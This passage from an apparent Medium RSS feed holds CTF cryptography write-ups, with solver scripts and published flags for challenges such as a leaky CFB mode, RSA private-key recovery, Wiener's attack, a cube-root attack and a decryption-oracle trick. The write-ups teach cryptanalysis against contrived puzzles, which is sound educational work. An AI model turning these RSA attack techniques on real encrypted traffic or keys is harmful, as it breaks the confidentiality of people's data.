aes.blockify(ciphertext, 16)<br>    r, leak = aes.leak(ciphertext_blocks)<br>    with open(&#39;output.txt&#39;, &#39;w&#39;) as f:<br>        f.write(f&#39;ct = {ciphertext.hex()}\nr = {r}\nphrases = {leak}\n&#39;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Contents of <em>output.txt</em>:</p><pre>ct = bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624<br>r = 3<br>phrases = [&#39;8b6973611d8b62941043f85cd1483244&#39;, &#39;cf8f71416111f1e8cdee791151c222ad&#39;]</pre><p><strong>Analysis</strong>:</p><p>The challenge script uses AES encryption with ECB mode. The encryption operation is performed on the randomly generated IV (Initialization vector). At first it looked like the class is implementing CBC mode encryption but the odd thing was the that encryption was performed on IV and XORed with the plaintext. I soon realized that this is also one of the encryption mode used in block ciphers. It&#39;s called Cipher feedback (CFB) mode.</p><p><strong>Explanation</strong>::</p><p>CBC mode uses the encrypted output of the previous block to XOR with the next plaintext block to produce an intermediate cipher. That cipher then goes through the encryption algorithm of AES producing the final cipher block. Here is image representation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*socJzVE8TXNkGz5oWHEfsg.png" /></figure><p>CFB on the other directly AES encrypts the previously produced cipher to output the intermediate result. That intermediate result is XORed with plaintext to ouput the final cipher block. Here is the visual representation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*QpuUtcACtLMhWbteAnPAEA.png" /></figure><p><strong>Approach</strong>:</p><p>The object class have a method named leak which if we look closer is returning out the intermediate values.</p><p>The method takes the encrypted_blocks list as an argument, generates a number r (which in this case is 3), use r and r+1 as an index number of that list to perform AES encrytion which produces two intermediate cipher of the next block from that indexed block.</p><p><strong>Solution</strong>:</p><p>The output.txt gives out the leaked intermediate values of block number 4 and 5. Given the final ciphertext as well, simply performing XOR operation between the number block and its corresponding intermediate values will get us the flag.</p><p>Let’s try it in action:</p><pre>def blockify(message, size):<br>	return [message[i:i + size] for i in range(0, len(message), size)]<br>def xor(a, b):<br>        return b&#39;&#39;.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])<br><br>ct = &quot;bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624&quot;<br>r = 3<br>phrases = [&#39;8b6973611d8b62941043f85cd1483244&#39;, &#39;cf8f71416111f1e8cdee791151c222ad&#39;]<br><br>ct = blockify(bytes.fromhex(ct),16)<br>print(xor(ct[r+1], bytes.fromhex(phrases[0])))<br>print(xor(ct[r+2], bytes.fromhex(phrases[1])))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CXs-sCClQXaxkwV4FbQjSA.png" /></figure><p>Flag: <em>HTB{CFB_15_w34k_w17h_l34kz}</em></p><h3>2. PicoCTF 2023</h3><h3>2.1 HideToSee</h3><p><strong>Description</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*6nQtp7-yAN0peI7K2wJBCQ.png" /></figure><p>The challenge provides the image to download named atbash.jpg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*zlKO5Jf0il3uP2Nh7vnNkA.jpeg" /></figure><p>It looks like a steganography challenge where there is some hidden file to extract.</p><p>Steghide does our job.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*_0wdRuVxNtHqYQjXTkinbA.png" /></figure><p>A file named encrypted.txt was extracted out with the following contents:</p><pre>krxlXGU{zgyzhs_xizxp_x3y8z63y}</pre><p>The flag was encoded with Atbash cipher as shown in the image. Decoding with any online decoder will produce the flag.</p><p>Flag: <em>picoCTF{atbash_crack_c3b8a63b}</em></p><h3>2.2 ReadMyCert</h3><p><strong>Description</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*-JBpdZbQMqPNqRiC7qghMQ.png" /></figure><p>The challenge provides with a Certificate signing request(CSR) file to download. According to Wikipedia:</p><blockquote><em>In public key infrastructure systems, a certificate signing request is a message sent from an applicant to a certificate authority of the public key infrastructure in order to apply for a digital identity certificate.</em></blockquote><p>The objective of this challenge is to read the certificate file. A tool like openssl can be used to read the contents.</p><pre>$ openssl req -in readmycert.csr -noout -text<br>Certificate Request:<br>    Data:<br>        Version: 1 (0x0)<br>        Subject: CN = picoCTF{read_mycert_60f83ace}, name = ctfPlayer<br>        Subject Public Key Info:<br>            Public Key Algorithm: rsaEncryption<br>                Public-Key: (2048 bit)<br>                Modulus:<br>                    00:ff:8a:32:07:28:14:00:2b:6f:bb:d6:c6:0f:c2:<br>                    63:37:b8:f4:75:5f:71:39:3d:bb:be:62:67:0d:06:<br>                    7f:6d:1e:65:f0:ae:08:91:29:8f:25:3d:e5:ee:db:<br>                    9e:9d:19:b8:d7:c2:98:b8:8d:fd:d1:3a:62:3d:4f:<br>                    ac:ad:18:f4:33:27:15:02:67:4b:70:7e:5c:d9:d9:<br>                    d7:80:f7:87:e9:75:a7:b7:f3:c8:b8:70:58:ff:53:<br>                    a1:9f:be:e8:69:5a:36:f4:5d:b6:d3:49:2e:53:0c:<br>                    df:d6:c8:f6:da:4e:b2:3b:a7:5a:cb:5a:e9:fc:14:<br>                    c8:9d:27:5d:ad:cd:01:c0:7b:03:3e:ac:a4:7c:41:<br>                    b5:c6:8a:28:d0:a7:0e:07:e7:fc:02:b1:1f:36:20:<br>                    1d:9a:2b:d4:1e:f6:d8:ba:f9:73:a7:e3:1e:7c:03:<br>                    8c:4e:9b:d9:eb:25:c3:38:e9:af:1e:e9:f8:5a:7a:<br>                    b3:e8:94:bd:03:bd:6f:7a:0f:a0:6c:d1:c5:a1:a0:<br>                    60:7f:60:e4:6c:70:68:46:1c:dd:d5:08:a3:11:84:<br>                    21:a4:93:21:97:ba:d8:58:66:a1:58:f0:6b:da:75:<br>                    38:33:a8:dc:c8:82:7c:b2:70:b0:f7:3c:3f:59:cf:<br>                    5e:b3:19:aa:ca:a9:bf:0b:89:fa:33:dd:27:dd:19:<br>                    7b:2d<br>                Exponent: 65537 (0x10001)<br>        Attributes:<br>            Requested Extensions:<br>                X509v3 Extended Key Usage: <br>                    TLS Web Client Authentication<br>    Signature Algorithm: sha256WithRSAEncryption<br>    Signature Value:<br>        03:0e:30:25:78:93:6c:fe:59:3c:c7:5b:49:27:96:c6:4d:94:<br>        d6:f4:76:7d:45:24:cf:f9:a2:db:f7:04:7a:60:76:f1:6f:7e:<br>        a8:1f:7c:02:42:d2:96:d9:cb:1a:f8:1f:5a:9b:2b:c0:ed:39:<br>        88:72:fe:10:58:50:32:d4:af:4f:b4:52:58:cf:fb:54:db:83:<br>        46:2e:3e:cd:ce:61:a1:02:cd:16:a2:db:c0:f7:f4:f4:f6:41:<br>        18:a1:8b:b5:5c:cd:f3:0b:a4:5b:6f:7d:1c:42:84:8b:53:3d:<br>        e8:60:ce:cc:a3:75:16:03:a5:d6:e6:95:18:10:ba:8d:54:02:<br>        9a:d7:30:db:6a:69:73:73:7e:67:8e:a8:dd:44:a2:bd:3e:26:<br>        37:43:7b:fe:d1:5c:6d:c9:6e:85:a6:66:e8:b5:85:40:03:0d:<br>        ac:7c:db:ae:4d:31:b2:b2:38:6e:40:0f:96:cc:a2:35:ec:49:<br>        b3:a5:a9:fa:c9:0a:2e:d2:df:6d:e5:9f:f2:7f:70:73:4d:4f:<br>        e9:7e:a5:93:a5:c8:2e:b1:04:00:fe:01:92:70:14:fb:ed:fb:<br>        be:76:92:11:2a:b5:38:7f:75:16:a0:00:fb:1a:c3:89:63:70:<br>        84:bf:f1:9b:e9:b8:ee:b3:55:09:02:12:cb:7c:97:b6:69:93:<br>        95:2a:2c:ef<br></pre><p>Contents of the flag is on the subject line.</p><p>Flag: <em>picoCTF{read_mycert_60f83ace}</em></p><h3>2.3 rotation</h3><p><strong>Description</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*XP_pF044CTo3O0o91Gi08Q.png" /></figure><p>The challenge provides a downloadable file named encrypted.txt with the following contents:</p><pre>xqkwKBN{z0bib1wv_l3kzgxb3l_nl5k4283}</pre><p>As the name suggest, the flag is encrypted using a rotation cipher. Slapping it in <a href="https://gchq.github.io/CyberChef/">cyberchef</a> and check every rotation will produce the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBGY-o55u89AQZFvdM6S2g.png" /></figure><p>The flag was encrypted using 8 character rotation backwards.</p><p>Flag: <em>picoCTF{r0tat1on_d3crypt3d_fd5c4283}</em></p><h3>2.4 SRA</h3><p><strong>Description</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*fsN6QxTnBbFIbhH9e8ymSw.png" /></figure><p>After launching the instance, we are given the challenge file to download and a set of DOMAIN and PORT to connect to the launched instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*3mA13IewN3CGP1KMBcJR1w.png" /></figure><p>The challenge file is named chal.py with the following contents:</p><pre>from Crypto.Util.number import getPrime, inverse, bytes_to_long<br>from string import ascii_letters, digits<br>from random import choice<br><br>pride = &quot;&quot;.join(choice(ascii_letters + digits) for _ in range(16))<br>gluttony = getPrime(128)<br>greed = getPrime(128)<br>lust = gluttony * greed<br>sloth = 65537<br>envy = inverse(sloth, (gluttony - 1) * (greed - 1))<br><br>anger = pow(bytes_to_long(pride.encode()), sloth, lust)<br><br>print(f&quot;{anger = }&quot;)<br>print(f&quot;{envy = }&quot;)<br><br>print(&quot;vainglory?&quot;)<br>vainglory = input(&quot;&gt; &quot;).strip()<br><br>if vainglory == pride:<br>    print(&quot;Conquered!&quot;)<br>    with open(&quot;/challenge/flag.txt&quot;) as f:<br>        print(f.read())<br>else:<br>    print(&quot;Hubris!&quot;)</pre><p><strong>Analysis</strong>:</p><p>The source code gives a glimpse of RSA being implemented with non textbook variable names. Replacing these names with textbook variables will help in further analysis.</p><p>A more clean and easy to understand code:</p><pre>from Crypto.Util.number import getPrime, inverse, bytes_to_long<br>from string import ascii_letters, digits<br>from random import choice<br><br>m = &quot;&quot;.join(choice(ascii_letters + digits) for _ in range(16))<br>p = getPrime(128)<br>q = getPrime(128)<br>N = p * q<br>e = 65537<br>d = inverse(e, (p - 1) * (q - 1))<br><br>ct = pow(bytes_to_long(m.encode()), e, N)<br><br>print(f&quot;{ct = }&quot;)<br>print(f&quot;{d = }&quot;)<br><br>print(&quot;vainglory?&quot;)<br>vainglory = input(&quot;&gt; &quot;).strip()<br><br>if vainglory == m:<br>    print(&quot;Conquered!&quot;)<br>    with open(&quot;/challenge/flag.txt&quot;) as f:<br>        print(f.read())<br>else:<br>    print(&quot;Hubris!&quot;)</pre><p>This program is attached with the launched instance which provides the user with the ciphertext ct and private exponent d when the user connects with it. Further it asks for the decrypted plaintext m to which if given accurately, will print out the flag.</p><p><strong>Approach</strong>:</p><p>We are given the ciphertext ct and private exponent d from the server. Public exponent e is already hardcoded in the challenge file.</p><p>We have to somehow recover Modulo-N from the given values to decrypt the ciphertext. Using the product of e and d then subtracting 1 will produce a multiple(k) of <strong>Euler&#39;s totient function</strong> phi. The above statement can be mathematically represented as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/203/1*9t0jtIWSgr0LQI70va-VNQ.png" /></figure><p>As we know phi can be deduced to (p-1)*(q-1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*GEysWSoa_Xk-ISg9Vn7nOw.png" /></figure><p>Here is the list of step by step instructions to find the values of both primes.</p><ol><li>List down all possible factors of ed-1 .</li><li>Take all possible combinations of these factors.</li><li>Multiply them together, add 1 and check if its a prime.</li><li>If step 3 returns true, compare the bit length of that prime to the bit length given which is 128 bits in the challenge source code.</li></ol><p>Now we have our prime number. Check for all possible combinations to get the other one. In case we get more than 2 primes, simply make combinations of two primes together, multiply them together to get the Modulo-N, use it to decrypt the plaintext and if the decoded output is alphanumeric, we get the correct plaintext m.</p><p>Slap the plaintext to the server instance to recieve the flag.</p><p><strong>Solution</strong>:</p><p>I used sage’s in-built factor and Combinations functions to help me script the program easily.</p><p>Connecting to the server generated the private exponent and the ciphertext.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZHMoH7WvFxH3A34CdqFHQ.png" /></figure><p>Here is the solution code:</p><pre>e = 65537<br>d = 810361095203075329357484242946716927961146066907350563335467995181289177537<br>ct = 34387896249574356730924521216936364430435271510517548386929128354440191093429<br><br>phi = (e*d)-1<br><br>list = []<br>for a,b in factor(phi):<br> for _ in range(b):<br>  list.append(a)<br><br>primes = []<br><br>print(&quot;factoing primes using combinations&quot;)<br>for i in range(len(list)):<br> for comb in Combinations(list,i):<br>  prod = product(comb)<br>  if is_prime(prod + 1):<br>   prime = prod + 1<br>   if prime.nbits() == 128:<br>    primes.append(prime)<br><br>print(primes)<br>print(&quot;decrypting cipher&quot;)<br><br>for vals in Combinations(primes,2):<br> n = product(vals)<br> try:<br>  m = bytes.fromhex(hex(pow(ct,d,n))[2:]).decode()<br>  if m.isalnum():<br>   print(m)<br>   break<br> except:<br>  pass</pre><p>Executing the script with the given values will decrypt the cipher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kyNG2ZZVLCrZneSyY97XeA.png" /></figure><p>Entering the plaintext to the server will get us the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAFq6o7vysrM7_4IHICJ-A.png" /></figure><p>Flag: <em>picoCTF{7h053_51n5_4r3_n0_m0r3_38268294}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2480a39b264f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crypto Conspiracy | Part 3| PicoCTF]]></title>
            <link>https://ainkun.medium.com/crypto-conspiracy-part-3-picoctf-1e8ea238b28a?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e8ea238b28a</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Mon, 12 Sep 2022 16:57:09 GMT</pubDate>
            <atom:updated>2025-04-25T06:29:00.943Z</atom:updated>
            <content:encoded><![CDATA[<h3>Crypto Conspiracy | Part 3 | PicoCTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*2Y0v-7LzzWKEPfhd49m4cw.jpeg" /></figure><p>Welcome back to the 3rd Part of this ongoing Cryptography series. As mentioned earlier, this series is about solving cryptography challenges and providing write-ups and explanations as we counter new concepts and techniques.</p><p>For curious minds, links are attached for further reading and deep scouting into the concepts.</p><p>Part 3 will cover further six challenges from PicoCTF, from where we left last time.</p><h3>6. Mini RSA</h3><p>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*ztOfhOgRx8s1ESR_A91tVQ.png" /></figure><p>As the name reveals, this is an RSA challenge. The description of the challenge further gave us a hint of the solution. The message(m) is padded and raised to the power of the public exponent(e). The produced number is just barely larger than modulo N.</p><p>The challenge contains a ciphertext file attached:</p><pre>N: 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287  e: 3  ciphertext (c): 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146919581675891411119628108546342758721287307471723093546788074479139848242227243523617899178070097350912870635303707113283010669418774091018728233471491573736725568575532635111164176010070788796616348740261987121152288917179932230769893513971774137615028741237163693178359120276497700812698199245070488892892209716639870702721110338285426338729911942926177029934906215716407021792856449586278849142522957603215285531263079546937443583905937777298337318454706096366106704204777777913076793265584075700215822263709126228246232640662350759018119501368721990988895700497330256765579153834824063344973587990533626156498797388821484630786016515988383280196865544019939739447062641481267899176504155482</pre><p>Modulo operation is applied on the raised number with N, producing ciphertext(c). As mentioned above, the number isn’t that large, so we can brute-force the number of cycles(k) and get the original padded message(m).</p><pre>mᵉ &gt; n </pre><pre>m = ᵉ√(k*n + ct)</pre><p>It is called <strong>Direct Root Attack</strong>. I have covered detailed explanations and resources of this attack in my last <a href="https://ain-kun.medium.com/crypto-conspiracy-part-2-ncc-ctf-2022-751f796773ba">post</a>.</p><p>Let’s carve a simple python script to obtain the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rwdu282u_juDauDMQdmy3A.png" /></figure><p>Executing the script generates the flag and k value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QAgLksLISss8BUEOLLI_7g.png" /></figure><p>As you can see, decoded <em>m</em> contains padded spaces before the flag.</p><p>Flag: <em>picoCTF{e_sh0u1d_b3_lArg3r_60ef2420}</em></p><h3>7. Dachshund Attacks</h3><p>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*dEAuxjTAWDreRMX0zCGBPA.png" /></figure><p>The description reads that the value of <em>d</em> is small and provides a remote netcat server to connect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVzV8v--w1ApGLdiZ82ysA.png" /></figure><p>Connecting with it stages out <em>e</em>, <em>n</em> and <em>c</em> values, which indicates it is an RSA challenge. The unusual part is the value of <em>e</em>(public exponent) which is very large.</p><pre>e: 113965669847310828500899853435537445886983372706073821582740688051084844590270657144802211593866034167958454899416336731100816582959179216508158889366467881403093573232820412893929890484121606858090638065014168581359200003029491515859319460603694717588289450599381971738052585390819540519174165042131365401533<br>n: 132003680749217325264675831117281105874525666627537898834125189765815508087804891675517950739058534804759886578814128106898450995862925449069584216322388240003964796961657830300533744405435697226675534656722606914801264956767259152996066985017938022450355910333175552359165701760451785353064163355112500095881<br>c: 44749543223058762425469734395376800216388486724804166144918800099402890297286168669084372989795199561374348875497306461363768838480401641692065469119034403679064279508236432654110240860922620611182038801976878736850247293258430369111173858786169423491552197826994459460266609051093131934975124305804834932124</pre><p>There is a relation between the values of <em>e</em> and <em>d</em>. As the value of <em>e</em> increases, <em>d</em> decreases. (Inversely proportional)</p><pre>d = e^(−1) modϕ(n)</pre><p>In an ideal RSA encryption, the private exponent d must be large enough. If not, and with few other factors, the encryption can break using <strong>Wiener’s attack</strong></p><p>It’s a cryptographic attack against RSA. The attack uses the continued fraction method to expose the private key d when d is small.</p><p>I won’t go into deeper details about how the attack works but will provide resources to study it.</p><p>A Classic Wikipedia <a href="https://en.wikipedia.org/wiki/Wiener%27s_attack">page</a> on the Wiener attack, a great <a href="https://sagi.io/crypto-classics-wieners-rsa-attack/">article</a>, a cryptohack blog <a href="https://cryptohack.gitbook.io/cryptobook/untitled/low-private-component-attacks/wieners-attack">page</a> describing the Wiener attack and a YouTube <a href="https://www.youtube.com/watch?v=OpPrrndyYNU">video</a> won’t hurt.</p><p>There is a python3 implementation of wieners attack on <a href="https://github.com/orisano/owiener">github</a>. Download the script, and import the functionality into your custom script to calculate <em>d</em>.</p><p>Make sure the downloaded script is in the same folder as your script.</p><p>A custom script may look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bYz6PUom_4YynXNeWIcLQA.png" /></figure><p>Executimg the script returns the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vyCcf8TyGRRyFNiPajmbsA.png" /></figure><p>Flag: <em>picoCTF{proving_wiener_6907362}</em></p><h3>8. No Padding, No Problem</h3><p>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*XdMirnXZeCUdLqobnsPA4w.png" /></figure><p>The challenge provides a remote netcat server to connect.</p><p>Here is the output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1fJpl53DoObxjEAFc8A4Vg.png" /></figure><p>The output produced again indicates that it is an RSA challenge. The catch here is that the server will decrypt any other ciphertext but the ciphertext of the flag produced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OL63syldez1M2GkTPC7pow.png" /></figure><p>The above output confirms it.</p><p>To solve this, we somehow have to do some computations on the encrypted cyphertext and after decrypting the result via the remote server, figure out the way to retrieve the original <em>m</em>.</p><p>This computation can be done using <strong>Homomorphic encryption</strong>. Homomorphic encryption is a form of encryption that permits users to perform computations on its encrypted data without first decrypting it. These resulting computations are left in an encrypted form which, when decrypted, results in an identical output to that produced had the operations been performed on the unencrypted data.</p><p>Read further <a href="https://en.wikipedia.org/wiki/Homomorphic_encryption">here</a>.</p><p>This homomorphic property can be used on RSA, where we can multiply the encrypted cypher with another encrypted cypher. It looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*hD0f4PA9XHBGY3Rj3xz1yQ.png" /></figure><pre>encrypt(m1) * encrypt(m2) = ((m1**e)*(m2**e)) mod n = (m1*m2)**e mod n = encrypt(m1*m2)</pre><p>Now we can choose a value like <em>2</em> and encrypt it using 2**e mod n. Multiply the result with <em>ct</em>. The returned value can be decrypted by the server. Then dividing the decrypted value with <em>2</em> will give us our <em>m1</em>(flag in long).</p><p>Let’s first generate our cyphertext from <em>2</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AcEfBkAnKcEzgYgofKNfXw.png" /></figure><p>Lets multiply the cyphertext with the original <em>ct</em> of the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jd8IM_YpJ3bVwtMqDXMIPg.png" /></figure><p>Slap this calculated <em>ct3</em> into the server to get the decrypted <em>m1</em>m2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NzIfd14ZwNukH-sehg_IKQ.png" /></figure><pre>m1m2 = 580550060391700078946913236734911770139931497702556153513487440893406629034802718534645538074938502890769281669222390720762</pre><p>Lets now divide the m2 which is <em>2</em> with the above value to get m1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*_yIdoMaMwOOD4wtn8V5IFg.png" /></figure><p>Now lets just convert this value into bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*ps0LGCIuK97GtNcCnkhGGA.png" /></figure><p>Flag: <em>picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_4005534}</em></p><h3>9. Easy1</h3><p>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*T5OJqTD2u5HMF0fluhd-6w.png" /></figure><p>The challenge provides an encrypted flag(<strong>UFJKXQZQUNB</strong>), a key(<strong>SOLVECRYPTO</strong>) and a file named <em>table</em>. Viewing the table contents and the key hints that it is a <em>Vigenère cypher</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*AzupLcimjUUatL6GvKe8jg.png" /></figure><p>Vigenère is again a substitution cypher where each letter of the plain string shifts <em>+n</em> times. The plain string and the key are mapped together as the key repeats itself until it matches the length of the plain string. <em>n</em> is the position of the key’s letter in ALPHABET, which shifts its adjacent letter in plain text.</p><p>You can read further about it <a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher">here</a>.</p><p>To decrypt the encrypted flag, shift the string with <em>-n</em>, where <em>n</em> is described above.</p><p>We can create a simple python script to automate our task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*RHc-qfNSdIHQ5vhgHC6aWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*sWeVY2zHHEfhA10BRxY7TQ.png" /></figure><p>Flag: <em>picoCTF{CRYPTOISFUN}</em></p><h3>10. 13</h3><p>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*yESuodvigPZ7vlTQLVrOsw.png" /></figure><p>It is a simple rot13 challenge. It is a substitution cipher. Read more about it in my first <a href="https://ain-kun.medium.com/crypto-conspiracy-part-1-picoctf-5ed32565b5ca">post</a>.</p><p>Ciphertext:</p><pre>cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}</pre><p><a href="https://gchq.github.io/CyberChef/">Cyberchef</a> to the rescue!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5BnJpm0VXvM2Yfj17riTxw.png" /></figure><p>Flag: <em>picoCTF{not_too_bad_of_a_problem}</em></p><h3>11 — caesar</h3><p>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*y46wvJMIwPan9B-q_jN7YQ.png" /></figure><p>As the name of the challenge indicates that it is an easy <em>Caeser cypher</em> challenge. It is a simple and easy-to-use encryption technique. It is a kind of substitution cypher, where every letter of the plain string is replaced by a letter of some fixed number of positions down the alphabet.</p><p>Read further about it <a href="https://en.wikipedia.org/wiki/Caesar_cipher">here</a>.</p><p>The challenge provides a <em>ciphertext</em> file which contains the encrypted flag.</p><pre>picoCTF{dspttjohuifsvcjdpoabrkttds}</pre><p>There are about 26 possible shifts in caesar cypher. No hints given so we can brute force the flag with every possible shift, and try to recognize the flag.</p><p>A script can be written to automate the task:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*j2aF567jjzR4-DTK1BVNQA.png" /></figure><p>Running the script outputs all possible shifts on the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*ewoAiYKeKLp20wIUr-5jxg.png" /></figure><p>The last shift makes sense and is our flag.</p><p>Flag: <em>picoCTF{crossingtherubiconzaqjsscr}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e8ea238b28a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crypto Conspiracy | Part 2 | NCC CTF 2022]]></title>
            <link>https://ainkun.medium.com/crypto-conspiracy-part-2-ncc-ctf-2022-751f796773ba?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/751f796773ba</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[ctf-2022]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Sun, 31 Jul 2022 22:01:57 GMT</pubDate>
            <atom:updated>2025-04-25T06:27:14.990Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwIk-YyzMALdFdoqYH9TcQ.jpeg" /></figure><p>In Part 2, we will cover cryptography challenges from a recent CTF organized by NED Cyber Community.</p><p>I won’t go into too much detail about the concepts and will try to explain them with as much simplicity as possible and further provide resources for learning.</p><h3>1. Warmup</h3><p>Description: <strong>**final_flag = flag1 + flag2 + flag3 + flag4**</strong></p><p>The first challenge contains a downloadable text file with its content mentioned below:</p><pre>flag1 = &quot;TkNDe2NyNHB0MA==&quot;</pre><pre>flag2 = &quot;_v5_wh57_t&quot;</pre><pre>flag3 = &quot;. --... --... .---- -. --. ..--.- ... - ....- .-.&quot;</pre><pre>flag4 = &quot;-[-----&gt;+&lt;]&gt;++++.----.-[-&gt;++&lt;]&gt;.-----.+[--&gt;+&lt;]&gt;++.+.+++++.+.--------.++.++++++.+[---&gt;++&lt;]&gt;+.&quot;</pre><p>As the description above gave us the clue that all above flags in the text file should be decoded first then concatenate together to form the final flag.</p><p><strong>Flag 1</strong></p><p>Flag 1 is an encoded <em>base64</em> text. It can be identified by a “==” in the end. I can easily decode it from any online tool like <a href="https://gchq.github.io/CyberChef/">cyberchef</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*aIjLEuEFziLHx-KXYh03eQ.png" /></figure><p>Flag1 = “NCC{cr4pt0”</p><p>You can read further about base64 <a href="https://en.wikipedia.org/wiki/Base64">here</a>.</p><p><strong>Flag 2</strong></p><p>Flag 2 uses the <a href="https://en.wikipedia.org/wiki/ROT13"><em>rot13</em></a> algorithm to encode itself. Each character of the original flag replaces itself with the 13th letter after itself in the alphabet. To decode, we can use the same algorithm to undo the changes.</p><p>A script on my last post or an online tool like <a href="https://gchq.github.io/CyberChef/">cyberchef</a> can help retrieve the second part of the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*Oh8b5Jm7aoIlaBjb4RKX5Q.png" /></figure><p>Flag2 = “_i5_ju57_g”</p><p><strong>Flag 3</strong></p><p>Flag 3 is encoded in Morse code. It’s a method to communicate. It uses combination of two different signals(“.” and “-”) to encode a character.</p><p>You can learn more about Morse code and its standardized sequence <a href="https://en.wikipedia.org/wiki/Morse_code">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OLGZZvkUWlb9nDWlnLSUog.png" 